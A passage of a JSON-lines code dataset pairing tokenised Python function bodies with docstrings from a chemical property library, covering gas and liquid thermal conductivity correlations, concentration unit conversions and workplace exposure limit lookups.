\\kappa\n\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the gas [K]\n    MW : float\n        Molecular weight of the gas [g/mol]\n    Tc : float\n        Critical temperature of the gas [K]\n    Vc : float\n        Critical volume of the gas [m^3/mol]\n    omega : float\n        Acentric factor of the gas [-]\n    Cvm : float\n        Molar contant volume heat capacity of the gas [J/mol/K]\n    Vm : float\n        Molar volume of the gas at T and P [m^3/mol]\n    mu : float\n        Low-pressure gas viscosity [Pa*S]\n    dipole : float\n        Dipole moment [debye]\n    association : float, optional\n        Association factor [-]\n\n    Returns\n    -------\n    kg : float\n        Estimated dense gas thermal conductivity [W/m/k]\n\n    Notes\n    -----\n    MW internally converted to kg/g-mol.\n    Vm internally converted to mL/mol.\n    [1]_ is not the latest form as presented in [1]_.\n    Association factor is assumed 0. Relates to the polarity of the gas.\n\n    Coefficients as follows:\n    ais = [2.4166E+0, -5.0924E-1, 6.6107E+0, 1.4543E+1, 7.9274E-1, -5.8634E+0, 9.1089E+1]\n\n    bis = [7.4824E-1, -1.5094E+0, 5.6207E+0, -8.9139E+0, 8.2019E-1, 1.2801E+1, 1.2811E+2]\n\n    cis = [-9.1858E-1, -4.9991E+1, 6.4760E+1, -5.6379E+0, -6.9369E-1, 9.5893E+0, -5.4217E+1]\n\n    dis = [1.2172E+2, 6.9983E+1, 2.7039E+1, 7.4344E+1, 6.3173E+0, 6.5529E+1, 5.2381E+2]\n\n\n    Examples\n    --------\n    >>> chung_dense(T=473., MW=42.081, Tc=364.9, Vc=184.6E-6, omega=0.142,\n    ... Cvm=82.67, Vm=172.1E-6, mu=134E-7, dipole=0.4)\n    0.06160570379787278\n\n    References\n    ----------\n    .. [1] Chung, Ting Horng, Mohammad Ajlan, Lloyd L. Lee, and Kenneth E.\n       Starling. \"Generalized Multiparameter Correlation for Nonpolar and Polar\n       Fluid Transport Properties.\" Industrial & Engineering Chemistry Research\n       27, no. 4 (April 1, 1988): 671-79. doi:10.1021/ie00076a024.\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15790:m21"}
{"signature": "def Lindsay_Bromley(T, ys, ks, mus, Tbs, MWs):", "body": "if not none_and_length_check([ys, ks, mus, Tbs, MWs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>cmps = range(len(ys))<EOL>Ss = [<NUM_LIT>*Tb for Tb in Tbs]<EOL>Sij = [[(Si*Sj)**<NUM_LIT:0.5> for Sj in Ss] for Si in Ss]<EOL>Aij = [[<NUM_LIT>*(<NUM_LIT:1.> + (mus[i]/mus[j]*(MWs[j]/MWs[i])**<NUM_LIT><EOL>*(T+Ss[i])/(T+Ss[j]))**<NUM_LIT:0.5> )**<NUM_LIT:2> *(T+Sij[i][j])/(T+Ss[i])<EOL>for j in cmps] for i in cmps]<EOL>return sum([ys[i]*ks[i]/sum(ys[j]*Aij[i][j] for j in cmps) for i in cmps])<EOL>", "docstring": "r'''Calculates thermal conductivity of a gas mixture according to\n    mixing rules in [1]_ and also in [2]_.\n\n    .. math::\n        k = \\sum \\frac{y_i k_i}{\\sum y_i A_{ij}}\n\n        A_{ij} = \\frac{1}{4} \\left\\{ 1 + \\left[\\frac{\\eta_i}{\\eta_j}\n        \\left(\\frac{MW_j}{MW_i}\\right)^{0.75} \\left( \\frac{T+S_i}{T+S_j}\\right)\n        \\right]^{0.5} \\right\\}^2 \\left( \\frac{T+S_{ij}}{T+S_i}\\right)\n\n        S_{ij} = S_{ji} = (S_i S_j)^{0.5}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of gas [K]\n    ys : float\n        Mole fractions of gas components\n    ks : float\n        Liquid thermal conductivites of all components, [W/m/K]\n    mus : float\n        Gas viscosities of all components, [Pa*S]\n    Tbs : float\n        Boiling points of all components, [K]\n    MWs : float\n        Molecular weights of all components, [g/mol]\n\n    Returns\n    -------\n    kg : float\n        Thermal conductivity of gas mixture, [W/m/K]\n\n    Notes\n    -----\n    This equation is entirely dimensionless; all dimensions cancel.\n    The example is from [2]_; all results agree.\n    The original source has not been reviewed.\n\n    DIPPR Procedure 9D: Method for the Thermal Conductivity of Gas Mixtures\n\n    Average deviations of 4-5% for 77 binary mixtures reviewed in [2]_, from\n    1342 points; also six ternary mixtures (70  points); max deviation observed\n    was 40%. (DIPPR)\n\n    TODO: Finish documenting this.\n\n    Examples\n    --------\n    >>> Lindsay_Bromley(323.15, [0.23, 0.77], [1.939E-2, 1.231E-2], [1.002E-5, 1.015E-5], [248.31, 248.93], [46.07, 50.49])\n    0.01390264417969313\n\n    References\n    ----------\n    .. [1] Lindsay, Alexander L., and LeRoy A. Bromley. \"Thermal Conductivity\n       of Gas Mixtures.\" Industrial & Engineering Chemistry 42, no. 8\n       (August 1, 1950): 1508-11. doi:10.1021/ie50488a017.\n    .. [2] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15790:m22"}
{"signature": "def load_all_methods(self):", "body": "methods, methods_P = [], []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP); methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tmin); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.MW:<EOL><INDENT>methods.extend([BAHADORI_L, LAKSHMI_PRASAD])<EOL><DEDENT>if self.CASRN in Perrys2_315.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, C1, C2, C3, C4, C5, self.Perrys2_315_Tmin, self.Perrys2_315_Tmax = _Perrys2_315_values[Perrys2_315.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_315_coeffs = [C1, C2, C3, C4, C5]<EOL>Tmins.append(self.Perrys2_315_Tmin); Tmaxs.append(self.Perrys2_315_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_9.index:<EOL><INDENT>_,  A, B, C, D, E = _VDI_PPDS_9_values[VDI_PPDS_9.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D, E]<EOL>self.VDI_PPDS_coeffs.reverse()<EOL>methods.append(VDI_PPDS)<EOL><DEDENT>if all([self.MW, self.Tm]):<EOL><INDENT>methods.append(SHEFFY_JOHNSON)<EOL>Tmins.append(<NUM_LIT:0>); Tmaxs.append(self.Tm + <NUM_LIT>)<EOL><DEDENT>if all([self.Tb, self.Pc, self.omega]):<EOL><INDENT>methods.append(GHARAGHEIZI_L)<EOL>Tmins.append(self.Tb); Tmaxs.append(self.Tc)<EOL><DEDENT>if all([self.Tc, self.Pc, self.omega]):<EOL><INDENT>methods.append(NICOLA)<EOL><DEDENT>if all([self.Tb, self.Tc]):<EOL><INDENT>methods.append(SATO_RIEDEL)<EOL><DEDENT>if all([self.Hfus, self.Tc, self.omega]):<EOL><INDENT>methods.append(NICOLA_ORIGINAL)<EOL><DEDENT>if all([self.Tc, self.Pc]):<EOL><INDENT>methods_P.extend([DIPPR_9G, MISSENARD])<EOL><DEDENT>self.all_methods = set(methods)<EOL>self.all_methods_P = set(methods_P)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        :obj:`all_methods` and obj:`all_methods_P` as a set of methods for\n        which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15790:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == SHEFFY_JOHNSON:<EOL><INDENT>kl = Sheffy_Johnson(T, self.MW, self.Tm)<EOL><DEDENT>elif method == SATO_RIEDEL:<EOL><INDENT>kl = Sato_Riedel(T, self.MW, self.Tb, self.Tc)<EOL><DEDENT>elif method == GHARAGHEIZI_L:<EOL><INDENT>kl = Gharagheizi_liquid(T, self.MW, self.Tb, self.Pc, self.omega)<EOL><DEDENT>elif method == NICOLA:<EOL><INDENT>kl = Nicola(T, self.MW, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == NICOLA_ORIGINAL:<EOL><INDENT>kl = Nicola_original(T, self.MW, self.Tc, self.omega, self.Hfus)<EOL><DEDENT>elif method == LAKSHMI_PRASAD:<EOL><INDENT>kl = Lakshmi_Prasad(T, self.MW)<EOL><DEDENT>elif method == BAHADORI_L:<EOL><INDENT>kl = Bahadori_liquid(T, self.MW)<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>kl = EQ100(T, *self.Perrys2_315_coeffs)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>kl = horner(self.VDI_PPDS_coeffs, T)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>kl = CoolProp_T_dependent_property(T, self.CASRN, '<STR_LIT:L>', '<STR_LIT:l>')<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>kl = self.interpolate(T, method)<EOL><DEDENT>return kl<EOL>", "docstring": "r'''Method to calculate low-pressure liquid thermal conductivity at\n        tempearture `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature of the liquid, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        kl : float\n            Thermal conductivity of the liquid at T and a low pressure, [W/m/K]", "id": "f15790:c0:m2"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == DIPPR_9G:<EOL><INDENT>kl = self.T_dependent_property(T)<EOL>kl = DIPPR9G(T, P, self.Tc, self.Pc, kl)<EOL><DEDENT>elif method == MISSENARD:<EOL><INDENT>kl = self.T_dependent_property(T)<EOL>kl = Missenard(T, P, self.Tc, self.Pc, kl)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>kl = PropsSI('<STR_LIT:L>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>kl = self.interpolate_P(T, P, method)<EOL><DEDENT>return kl<EOL>", "docstring": "r'''Method to calculate pressure-dependent liquid thermal conductivity\n        at temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate liquid thermal conductivity, [K]\n        P : float\n            Pressure at which to calculate liquid thermal conductivity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        kl : float\n            Thermal conductivity of the liquid at T and P, [W/m/K]", "id": "f15790:c0:m3"}
{"signature": "def load_all_methods(self):", "body": "methods = [DIPPR_9H, SIMPLE]        <EOL>if len(self.CASs) == <NUM_LIT:2>:<EOL><INDENT>methods.append(FILIPPOV)<EOL><DEDENT>if '<STR_LIT>' in self.CASs and len(self.CASs)><NUM_LIT:1>:<EOL><INDENT>wCASs = [i for i in self.CASs if i != '<STR_LIT>']<EOL>if all([i in Magomedovk_thermal_cond.index for i in wCASs]):<EOL><INDENT>methods.append(MAGOMEDOV)<EOL>self.wCASs = wCASs<EOL>self.index_w = self.CASs.index('<STR_LIT>')<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>Tmins = [i.Tmin for i in self.ThermalConductivityLiquids if i.Tmin]<EOL>Tmaxs = [i.Tmax for i in self.ThermalConductivityLiquids if i.Tmax]<EOL>if Tmins:<EOL><INDENT>self.Tmin = max(Tmins)<EOL><DEDENT>if Tmaxs:<EOL><INDENT>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15790:c1:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>ks = [i(T, P) for i in self.ThermalConductivityLiquids]<EOL>return mixing_simple(zs, ks)<EOL><DEDENT>elif method == DIPPR_9H:<EOL><INDENT>ks = [i(T, P) for i in self.ThermalConductivityLiquids]<EOL>return DIPPR9H(ws, ks)<EOL><DEDENT>elif method == FILIPPOV:<EOL><INDENT>ks = [i(T, P) for i in self.ThermalConductivityLiquids]<EOL>return Filippov(ws, ks)<EOL><DEDENT>elif method == MAGOMEDOV:<EOL><INDENT>k_w = self.ThermalConductivityLiquids[self.index_w](T, P)<EOL>ws = list(ws) ; ws.pop(self.index_w)<EOL>return thermal_conductivity_Magomedov(T, P, ws, self.wCASs, k_w)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate thermal conductivity of a liquid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        k : float\n            Thermal conductivity of the liquid mixture, [W/m/K]", "id": "f15790:c1:m2"}
{"signature": "def load_all_methods(self):", "body": "methods, methods_P = [], []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP); methods_P.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tmin); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.CASRN in Perrys2_314.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, C1, C2, C3, C4, self.Perrys2_314_Tmin, self.Perrys2_314_Tmax = _Perrys2_314_values[Perrys2_314.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_314_coeffs = [C1, C2, C3, C4]<EOL>Tmins.append(self.Perrys2_314_Tmin); Tmaxs.append(self.Perrys2_314_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_10.index:<EOL><INDENT>_,  A, B, C, D, E = _VDI_PPDS_10_values[VDI_PPDS_10.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D, E]<EOL>self.VDI_PPDS_coeffs.reverse()<EOL>methods.append(VDI_PPDS)<EOL><DEDENT>if all((self.MW, self.Tb, self.Pc, self.omega)):<EOL><INDENT>methods.append(GHARAGHEIZI_G)<EOL>Tmaxs.append(<NUM_LIT>)<EOL><DEDENT>if all((self.Cvgm, self.mug, self.MW, self.Tc)):<EOL><INDENT>methods.append(DIPPR_9B)<EOL>Tmins.append(<NUM_LIT>); Tmaxs.append(<NUM_LIT>)  <EOL><DEDENT>if all((self.Cvgm, self.mug, self.MW, self.Tc, self.omega)):<EOL><INDENT>methods.append(CHUNG)<EOL>Tmins.append(<NUM_LIT>); Tmaxs.append(<NUM_LIT>)  <EOL><DEDENT>if all((self.Cvgm, self.MW, self.Tc, self.Vc, self.Zc, self.omega)):<EOL><INDENT>methods.append(ELI_HANLEY)<EOL>Tmaxs.append(<NUM_LIT>)  <EOL><DEDENT>if all((self.Cvgm, self.mug, self.MW)):<EOL><INDENT>methods.append(EUCKEN_MOD)<EOL>methods.append(EUCKEN)<EOL>Tmins.append(<NUM_LIT>); Tmaxs.append(<NUM_LIT>)  <EOL><DEDENT>if self.MW:<EOL><INDENT>methods.append(BAHADORI_G)<EOL><DEDENT>if all([self.MW, self.Tc, self.Vc, self.Zc, self.omega]):<EOL><INDENT>methods_P.append(ELI_HANLEY_DENSE)<EOL><DEDENT>if all([self.MW, self.Tc, self.Vc, self.omega, self.dipole]):<EOL><INDENT>methods_P.append(CHUNG_DENSE)<EOL><DEDENT>if all([self.MW, self.Tc, self.Pc, self.Vc, self.Zc]):<EOL><INDENT>methods_P.append(STIEL_THODOS_DENSE)<EOL><DEDENT>self.all_methods = set(methods)<EOL>self.all_methods_P = set(methods_P)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        :obj:`all_methods` and obj:`all_methods_P` as a set of methods for\n        which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15790:c2:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == GHARAGHEIZI_G:<EOL><INDENT>kg = Gharagheizi_gas(T, self.MW, self.Tb, self.Pc, self.omega)<EOL><DEDENT>elif method == DIPPR_9B:<EOL><INDENT>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>mug = self.mug(T) if hasattr(self.mug, '<STR_LIT>') else self.mug<EOL>kg = DIPPR9B(T, self.MW, Cvgm, mug, self.Tc)<EOL><DEDENT>elif method == CHUNG:<EOL><INDENT>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>mug = self.mug(T) if hasattr(self.mug, '<STR_LIT>') else self.mug<EOL>kg = Chung(T, self.MW, self.Tc, self.omega, Cvgm, mug)<EOL><DEDENT>elif method == ELI_HANLEY:<EOL><INDENT>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>kg = eli_hanley(T, self.MW, self.Tc, self.Vc, self.Zc, self.omega, Cvgm)<EOL><DEDENT>elif method == EUCKEN_MOD:<EOL><INDENT>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>mug = self.mug(T) if hasattr(self.mug, '<STR_LIT>') else self.mug<EOL>kg = Eucken_modified(self.MW, Cvgm, mug)<EOL><DEDENT>elif method == EUCKEN:<EOL><INDENT>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>mug = self.mug(T) if hasattr(self.mug, '<STR_LIT>') else self.mug<EOL>kg = Eucken(self.MW, Cvgm, mug)<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>kg = EQ102(T, *self.Perrys2_314_coeffs)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>kg = horner(self.VDI_PPDS_coeffs, T)<EOL><DEDENT>elif method == BAHADORI_G:<EOL><INDENT>kg = Bahadori_gas(T, self.MW)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>kg = CoolProp_T_dependent_property(T, self.CASRN, '<STR_LIT:L>', '<STR_LIT:g>')<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>kg = self.interpolate(T, method)<EOL><DEDENT>return kg<EOL>", "docstring": "r'''Method to calculate low-pressure gas thermal conductivity at\n        tempearture `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature of the gas, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        kg : float\n            Thermal conductivity of the gas at T and a low pressure, [W/m/K]", "id": "f15790:c2:m2"}
{"signature": "def calculate_P(self, T, P, method):", "body": "if method == ELI_HANLEY_DENSE:<EOL><INDENT>Vmg = self.Vmg(T, P) if hasattr(self.Vmg, '<STR_LIT>') else self.Vmg<EOL>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>kg = eli_hanley_dense(T, self.MW, self.Tc, self.Vc, self.Zc, self.omega, Cvgm, Vmg)<EOL><DEDENT>elif method == CHUNG_DENSE:<EOL><INDENT>Vmg = self.Vmg(T, P) if hasattr(self.Vmg, '<STR_LIT>') else self.Vmg<EOL>Cvgm = self.Cvgm(T) if hasattr(self.Cvgm, '<STR_LIT>') else self.Cvgm<EOL>mug = self.mug(T, P) if hasattr(self.mug, '<STR_LIT>') else self.mug<EOL>kg = chung_dense(T, self.MW, self.Tc, self.Vc, self.omega, Cvgm, Vmg, mug, self.dipole)<EOL><DEDENT>elif method == STIEL_THODOS_DENSE:<EOL><INDENT>kg = self.T_dependent_property(T)<EOL>Vmg = self.Vmg(T, P) if hasattr(self.Vmg, '<STR_LIT>') else self.Vmg<EOL>kg = stiel_thodos_dense(T, self.MW, self.Tc, self.Pc, self.Vc, self.Zc, Vmg, kg)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>kg = PropsSI('<STR_LIT:L>', '<STR_LIT:T>', T, '<STR_LIT:P>', P, self.CASRN)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>kg = self.interpolate_P(T, P, method)<EOL><DEDENT>return kg<EOL>", "docstring": "r'''Method to calculate pressure-dependent gas thermal conductivity\n        at temperature `T` and pressure `P` with a given method.\n\n        This method has no exception handling; see `TP_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate gas thermal conductivity, [K]\n        P : float\n            Pressure at which to calculate gas thermal conductivity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        kg : float\n            Thermal conductivity of the gas at T and P, [W/m/K]", "id": "f15790:c2:m3"}
{"signature": "def load_all_methods(self):", "body": "methods = []        <EOL>methods.append(SIMPLE)<EOL>if none_and_length_check((self.Tbs, self.MWs)):<EOL><INDENT>methods.append(LINDSAY_BROMLEY)<EOL><DEDENT>self.all_methods = set(methods)<EOL>Tmins = [i.Tmin for i in self.ThermalConductivityGases if i.Tmin]<EOL>Tmaxs = [i.Tmax for i in self.ThermalConductivityGases if i.Tmax]<EOL>if Tmins:<EOL><INDENT>self.Tmin = max(Tmins)<EOL><DEDENT>if Tmaxs:<EOL><INDENT>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15790:c3:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>ks = [i(T, P) for i in self.ThermalConductivityGases]<EOL>return mixing_simple(zs, ks)<EOL><DEDENT>elif method == LINDSAY_BROMLEY:<EOL><INDENT>ks = [i(T, P) for i in self.ThermalConductivityGases]<EOL>mus = [i(T, P) for i in self.ViscosityGases]<EOL>return Lindsay_Bromley(T=T, ys=zs, ks=ks, mus=mus, Tbs=self.Tbs, MWs=self.MWs)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate thermal conductivity of a gas mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        kg : float\n            Thermal conductivity of gas mixture, [W/m/K]", "id": "f15790:c3:m2"}
{"signature": "def ppmv_to_mgm3(ppmv, MW, T=<NUM_LIT>, P=<NUM_LIT>):", "body": "parts = ppmv*<NUM_LIT><EOL>n = parts*P/(R*T)<EOL>mgm3 = MW*n*<NUM_LIT:1000>  <EOL>return mgm3<EOL>", "docstring": "r'''Converts a concentration in ppmv to units of mg/m^3. Used in\n    industrial toxicology.\n\n    .. math::\n        \\frac{mg}{m^3} = \\frac{ppmv\\cdot P}{RT}\\cdot \\frac{MW}{1000}\n\n    Parameters\n    ----------\n    ppmv : float\n        Concentratoin of a component in a gas mixure [parts per million,\n        volumetric]\n    MW : float\n        Molecular weight of the trace gas [g/mol]\n    T : float, optional\n        Temperature of the gas at which the ppmv is reported\n    P : float, optional\n        Pressure of the gas at which the ppmv is reported\n\n    Returns\n    -------\n    mgm3 : float\n        Concentration of a substance in an ideal gas mixture [mg/m^3]\n\n    Notes\n    -----\n    The term P/(RT)/1000 converts to 0.040874 at STP. Its inverse is reported\n    as 24.45 in [1]_.\n\n    Examples\n    --------\n    >>> ppmv_to_mgm3(1, 40)\n    1.6349623351068687\n\n    References\n    ----------\n    .. [1] ACGIH. Industrial Ventilation: A Manual of Recommended Practice,\n       23rd Edition. American Conference of Governmental and Industrial\n       Hygenists, 2004.", "id": "f15791:m0"}
{"signature": "def mgm3_to_ppmv(mgm3, MW, T=<NUM_LIT>, P=<NUM_LIT>):", "body": "n = mgm3/MW/<NUM_LIT><EOL>parts = n*R*T/P<EOL>ppm = parts/<NUM_LIT><EOL>return ppm<EOL>", "docstring": "r'''Converts a concentration in  mg/m^3 to units of ppmv. Used in\n    industrial toxicology.\n\n    .. math::\n        ppmv = \\frac{1000RT}{MW\\cdot P} \\cdot \\frac{mg}{m^3}\n\n    Parameters\n    ----------\n    mgm3 : float\n        Concentration of a substance in an ideal gas mixture [mg/m^3]\n    MW : float\n        Molecular weight of the trace gas [g/mol]\n    T : float, optional\n        Temperature of the gas at which the ppmv is reported\n    P : float, optional\n        Pressure of the gas at which the ppmv is reported\n\n    Returns\n    -------\n    ppmv : float\n        Concentration of a component in a gas mixure [parts per million,\n        volumetric]\n\n    Notes\n    -----\n    The term P/(RT)/1000 converts to 0.040874 at STP. Its inverse is reported\n    as 24.45 in [1]_.\n\n    Examples\n    --------\n    >>> mgm3_to_ppmv(1.635, 40)\n    1.0000230371625833\n\n    References\n    ----------\n    .. [1] ACGIH. Industrial Ventilation: A Manual of Recommended Practice,\n       23rd Edition. American Conference of Governmental and Industrial\n       Hygenists, 2004.", "id": "f15791:m1"}
{"signature": "def TWA(CASRN, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _OntarioExposureLimits and (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"] or _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]):<EOL><INDENT>methods.append(ONTARIO)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ONTARIO:<EOL><INDENT>if _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_TWA = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT>elif _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_TWA = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>_TWA = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _TWA<EOL>", "docstring": "This function handles the retrieval of Time-Weighted Average limits on worker\n    exposure to dangerous chemicals.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> TWA('98-00-0')\n    (10.0, 'ppm')\n    >>> TWA('1303-00-0')\n    (5.0742430905659505e-05, 'ppm')\n    >>> TWA('7782-42-5', AvailableMethods=True)\n    ['Ontario Limits', 'None']", "id": "f15791:m3"}
